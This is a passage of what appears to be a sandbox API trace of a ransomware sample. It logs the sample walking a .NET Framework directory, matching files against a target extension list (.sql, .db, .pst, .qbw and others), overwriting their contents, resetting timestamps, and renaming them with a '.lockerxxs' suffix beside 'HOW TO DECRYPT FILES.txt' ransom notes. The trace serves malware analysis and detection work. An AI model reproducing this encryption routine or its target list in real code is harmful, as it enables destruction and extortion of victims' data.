WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xd551, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xd551, lpOverlapped=0x0) returned 1 [0137.537] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.537] CloseHandle (hObject=0x8c) returned 1 [0137.537] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installpersistsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installpersistsqlstate.sql.lockerxxs")) returned 1 [0137.538] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25bc7600, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9edf0600, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x25bc7600, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x8886, dwReserved0=0xec0001ed, dwReserved1=0x4e00c4, cFileName="InstallPersonalization.sql", cAlternateFileName="INSTAL~4.SQL")) returned 1 [0137.539] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.539] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallPersonalization.sql") returned -1 [0137.539] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallPersonalization.sql") returned -1 [0137.539] lstrcmpiA (lpString1="", lpString2="InstallPersonalization.sql") returned -1 [0137.539] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersistSqlState.sql") returned="InstallPersistSqlState.sql" [0137.539] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.539] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.539] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.539] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.539] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="InstallPersonalization.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql" [0137.539] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.ems") returned 0 [0137.539] lstrlenA (lpString="*.ems") returned 5 [0137.539] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.db") returned 0 [0137.539] lstrlenA (lpString="*.db") returned 4 [0137.539] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.dbf") returned 0 [0137.539] lstrlenA (lpString="*.dbf") returned 5 [0137.539] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.myox") returned 0 [0137.539] lstrlenA (lpString="*.myox") returned 6 [0137.540] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.myo") returned 0 [0137.540] lstrlenA (lpString="*.myo") returned 5 [0137.540] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.qbw") returned 0 [0137.540] lstrlenA (lpString="*.qbw") returned 5 [0137.540] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.qbb") returned 0 [0137.540] lstrlenA (lpString="*.qbb") returned 5 [0137.540] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.qbm") returned 0 [0137.540] lstrlenA (lpString="*.qbm") returned 5 [0137.540] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.qbo") returned 0 [0137.540] lstrlenA (lpString="*.qbo") returned 5 [0137.540] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.qbx") returned 0 [0137.540] lstrlenA (lpString="*.qbx") returned 5 [0137.540] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.qba") returned 0 [0137.540] lstrlenA (lpString="*.qba") returned 5 [0137.540] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.qby") returned 0 [0137.540] lstrlenA (lpString="*.qby") returned 5 [0137.540] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.qbj") returned 0 [0137.540] lstrlenA (lpString="*.qbj") returned 5 [0137.540] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.ofx") returned 0 [0137.540] lstrlenA (lpString="*.ofx") returned 5 [0137.540] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.qif") returned 0 [0137.540] lstrlenA (lpString="*.qif") returned 5 [0137.541] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.mye") returned 0 [0137.541] lstrlenA (lpString="*.mye") returned 5 [0137.541] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.mbox") returned 0 [0137.541] lstrlenA (lpString="*.mbox") returned 6 [0137.541] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.eml") returned 0 [0137.541] lstrlenA (lpString="*.eml") returned 5 [0137.541] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.pst") returned 0 [0137.541] lstrlenA (lpString="*.pst") returned 5 [0137.541] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.ost") returned 0 [0137.541] lstrlenA (lpString="*.ost") returned 5 [0137.541] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.idx") returned 0 [0137.541] lstrlenA (lpString="*.idx") returned 5 [0137.541] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.dbx") returned 0 [0137.541] lstrlenA (lpString="*.dbx") returned 5 [0137.541] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", pszSpec="*.sql") returned 1 [0137.541] lstrlenA (lpString="*.sql") returned 5 [0137.541] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql" [0137.541] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql" [0137.541] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql." [0137.541] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql.lockerxxs" [0137.541] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installpersonalization.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0137.542] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8886 [0137.542] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x25bc7600, dwHighDateTime=0x1cac5de), lpLastAccessTime=0x407536*(dwLowDateTime=0x9edf0600, dwHighDateTime=0x1d2e675), lpLastWriteTime=0x40753e*(dwLowDateTime=0x25bc7600, dwHighDateTime=0x1cac5de)) returned 1 [0137.543] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.543] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x8860, lpOverlapped=0x0) returned 1 [0137.546] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql") returned="InstallPersonalization.sql" [0137.546] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.546] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x8860, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x8860, lpOverlapped=0x0) returned 1 [0137.547] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.547] CloseHandle (hObject=0x8c) returned 1 [0137.547] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installpersonalization.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installpersonalization.sql.lockerxxs")) returned 1 [0137.563] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25bc7600, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ee16760, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x25bc7600, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x519b, dwReserved0=0xec0001ed, dwReserved1=0x4e00c4, cFileName="InstallProfile.SQL", cAlternateFileName="IN6346~1.SQL")) returned 1 [0137.563] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.563] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallProfile.SQL") returned -1 [0137.563] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallProfile.SQL") returned -1 [0137.563] lstrcmpiA (lpString1="", lpString2="InstallProfile.SQL") returned -1 [0137.563] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallPersonalization.sql") returned="InstallPersonalization.sql" [0137.563] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.563] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.564] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.564] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.564] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="InstallProfile.SQL" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL" [0137.564] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.ems") returned 0 [0137.564] lstrlenA (lpString="*.ems") returned 5 [0137.564] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.db") returned 0 [0137.564] lstrlenA (lpString="*.db") returned 4 [0137.564] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.dbf") returned 0 [0137.564] lstrlenA (lpString="*.dbf") returned 5 [0137.564] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.myox") returned 0 [0137.564] lstrlenA (lpString="*.myox") returned 6 [0137.564] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.myo") returned 0 [0137.564] lstrlenA (lpString="*.myo") returned 5 [0137.564] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.qbw") returned 0 [0137.564] lstrlenA (lpString="*.qbw") returned 5 [0137.564] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.qbb") returned 0 [0137.564] lstrlenA (lpString="*.qbb") returned 5 [0137.564] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.qbm") returned 0 [0137.564] lstrlenA (lpString="*.qbm") returned 5 [0137.564] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.qbo") returned 0 [0137.564] lstrlenA (lpString="*.qbo") returned 5 [0137.564] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.qbx") returned 0 [0137.564] lstrlenA (lpString="*.qbx") returned 5 [0137.565] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.qba") returned 0 [0137.565] lstrlenA (lpString="*.qba") returned 5 [0137.565] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.qby") returned 0 [0137.565] lstrlenA (lpString="*.qby") returned 5 [0137.565] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.qbj") returned 0 [0137.565] lstrlenA (lpString="*.qbj") returned 5 [0137.565] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.ofx") returned 0 [0137.565] lstrlenA (lpString="*.ofx") returned 5 [0137.565] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.qif") returned 0 [0137.565] lstrlenA (lpString="*.qif") returned 5 [0137.565] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.mye") returned 0 [0137.565] lstrlenA (lpString="*.mye") returned 5 [0137.565] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.mbox") returned 0 [0137.565] lstrlenA (lpString="*.mbox") returned 6 [0137.565] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.eml") returned 0 [0137.565] lstrlenA (lpString="*.eml") returned 5 [0137.565] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.pst") returned 0 [0137.565] lstrlenA (lpString="*.pst") returned 5 [0137.565] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.ost") returned 0 [0137.565] lstrlenA (lpString="*.ost") returned 5 [0137.565] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.idx") returned 0 [0137.565] lstrlenA (lpString="*.idx") returned 5 [0137.565] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.dbx") returned 0 [0137.565] lstrlenA (lpString="*.dbx") returned 5 [0137.565] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", pszSpec="*.sql") returned 1 [0137.566] lstrlenA (lpString="*.sql") returned 5 [0137.566] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL" [0137.566] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL" [0137.566] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL." [0137.566] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL.lockerxxs" [0137.566] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installprofile.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0137.568] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x519b [0137.568] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x25bc7600, dwHighDateTime=0x1cac5de), lpLastAccessTime=0x407536*(dwLowDateTime=0x9ee16760, dwHighDateTime=0x1d2e675), lpLastWriteTime=0x40753e*(dwLowDateTime=0x25bc7600, dwHighDateTime=0x1cac5de)) returned 1 [0137.568] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.568] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x5175, lpOverlapped=0x0) returned 1 [0137.570] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL") returned="InstallProfile.SQL" [0137.570] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.571] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5175, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5175, lpOverlapped=0x0) returned 1 [0137.571] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.571] CloseHandle (hObject=0x8c) returned 1 [0137.571] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installprofile.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installprofile.sql.lockerxxs")) returned 1 [0137.573] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26eda300, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ee16760, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x26eda300, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x85d8, dwReserved0=0xf00001f1, dwReserved1=0x4e00c4, cFileName="InstallRoles.sql", cAlternateFileName="IN7144~1.SQL")) returned 1 [0137.573] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.573] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InstallRoles.sql") returned -1 [0137.573] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InstallRoles.sql") returned -1 [0137.573] lstrcmpiA (lpString1="", lpString2="InstallRoles.sql") returned -1 [0137.573] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallProfile.SQL") returned="InstallProfile.SQL" [0137.573] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" [0137.573] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\") returned="" [0137.573] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" [0137.573] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\how to decrypt files.txt")) returned 0x20 [0137.573] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpString2="InstallRoles.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql" [0137.573] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.ems") returned 0 [0137.574] lstrlenA (lpString="*.ems") returned 5 [0137.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.db") returned 0 [0137.574] lstrlenA (lpString="*.db") returned 4 [0137.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.dbf") returned 0 [0137.574] lstrlenA (lpString="*.dbf") returned 5 [0137.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.myox") returned 0 [0137.574] lstrlenA (lpString="*.myox") returned 6 [0137.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.myo") returned 0 [0137.574] lstrlenA (lpString="*.myo") returned 5 [0137.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.qbw") returned 0 [0137.574] lstrlenA (lpString="*.qbw") returned 5 [0137.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.qbb") returned 0 [0137.574] lstrlenA (lpString="*.qbb") returned 5 [0137.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.qbm") returned 0 [0137.574] lstrlenA (lpString="*.qbm") returned 5 [0137.574] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallRoles.sql", pszSpec="*.qbo") returned 0 [0137.574] lstrlenA (lpString="*.qbo") returned 5 